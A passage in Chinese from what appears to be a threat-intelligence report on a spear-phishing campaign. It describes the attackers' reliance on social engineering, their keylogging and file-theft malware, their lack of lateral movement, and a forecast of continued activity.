环节提高技术能力的一些努力——寻找新的白利用手段、使用 JavaScript 脚本在内存加载.Net、尝试对原有恶意代
码武器库进行改进。 

与较低的技术水平相反的是，其在社会工程学方面其做了大量文章。我们监测到了形形色色的鱼叉漏洞文
档，题材形式多样，极具诱惑力。 



 从这些攻击活动我们能看到另一个显著的现象：其并未对相关组织机构进行直接的网络攻击，而是采取了针
对某领域或组织机构下相关个人进行定向攻击的手段。分析中获得的情报也均支持这一观点：攻击活动多采用针
对个人的鱼叉形式，且极度依赖社会工程学；使用的恶意代码主要功能集中在特定文件窃取、键盘记录等敏感信
息收集功能，而未有局域网或者域环境横向移动感染相关能力，相关报道和实际监测中也没有相关的例子出现。 

 

攻击者 失陷目标

局域网/域
横向移动

某组织或机构

文档账户信息

攻击者 某领域
相关人员

定向
攻击 窃取

 单纯从技术方面进行考虑，这些攻击行动在拥有较强安全意识和防护的用户群体前很难奏效。但从实际监测
中我们依旧发现了数量众多的受害者。针对互联网安全防范措施和意识较差的用户群体或地区，这些攻击行动仍
然是有效的；这也表明，安全措施不到位、防范意识较差的用户群体依旧有较大比例。 

未来的趋势预测 

 在地缘局势因素的影响下，我们预计这些攻击行动将在相关地域和群体中持续保持活跃状态。 
在受害者群体安全防范措施和意识没有较大改善之前，我们认为这些攻击组织的技术能力提升将是有限的，

其依旧会复用之前的恶意代码工具和攻击手法，仅会在部分环节上做出改善。但同时也不排除其通过购买或者自
主开发等获取先进攻击手段的可能性（例如 0Day 或其他高级恶意代码工具）。


